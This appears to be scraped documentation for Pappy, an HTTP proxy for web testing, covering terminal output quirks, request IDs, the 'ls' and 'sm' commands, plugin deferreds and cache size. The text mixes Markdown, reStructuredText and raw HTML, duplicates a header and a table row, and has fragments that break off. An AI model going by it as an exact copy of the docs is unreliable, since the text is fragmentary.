### Text just appeared over my prompt! What do I do?!
Unfortunately I've been a bit lazy when it comes to printing errors to the terminal. A lot of stuff is just printed to stdout using `print`. This has the side effect of printing over your input. I'm very sorry and I'm trying to work on better solutions, but for now:
* Hit Ctl-L to clear the terminal. Your input will be saved.
### Why does my request have an id of `--`?!?!
### Why does my request have an id of `--`?!?!
You can't do anything with a request/response until it is decoded and saved to disk. In between the time when a request is decoded and when it's saved to disk, it will have an ID of `--`. So just wait a little bit and it will get an ID you can use.

| ``ls [a|<num>``] | list, ls | List requests that are in the current context (see Context section). Has information like the host, target path, and status code. With no arguments, it will print the 25 most recent requests in the current context. If you pass 'a' or 'all' as an argument, it will print all the requests in the current context. If you pass a number "n" as an argument, it will print the n most recent requests in the current context. |

| ``sm`` | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. |
| ``sm`` [p] | sm, site\_map | Print a tree showing the site map. It will display all requests in the current context that did not have a 404 response. This has to go through all of the requests in the current context so it may be slow. If the ``p`` option is given, it will print the paths as paths rather than as a tree. |

Since you're writing a plugin, you'll probably be using functions which return a deferred. And to keep things readable, you'll want to use the ``defer.inlineCallbacks`` function wrapper.

Luckily, there's a library called `crochet <https://pypi.python.org/pypi/crochet>`_ which lets you add another wrapper to the function that lets it be used like a blocking function.

<h3>Request Cache / Memory usage<aclass="headerlink"href="#request-cache-memory-usage"title="Permalink to this headline">¶</a></h3>
<p>For performance reasons, Pappy by default will not store every request
in memory. The cache will store a certain number of the most recently
accessed requests in memory. This means that if you go through all of
history, it could be slow (for example running <codeclass="docutils literal"><spanclass="pre">ls</span><spanclass="pre">a</span></code> or <codeclass="docutils literal"><spanclass="pre">sm</span></code>). If
you have enough RAM to keep everything in memory, you can set the
request cache size to -1 to just keep everything in memory. However,
even if the cache size is unlimited, it still won’t load a request into
memory untill you access it. So if you want to load everything in
memory, run <codeclass="docutils literal"><spanclass="pre">ls</span><spanclass="pre">a</span></code>.</p>
<p>By default, Pappy will cache 2000 requests. This is kind of heavy, but
it’s assumed you’re doing testing on a reasonably specced laptop.
Personally, I live on the edge and use -1 until I run into memory
issues.</p>
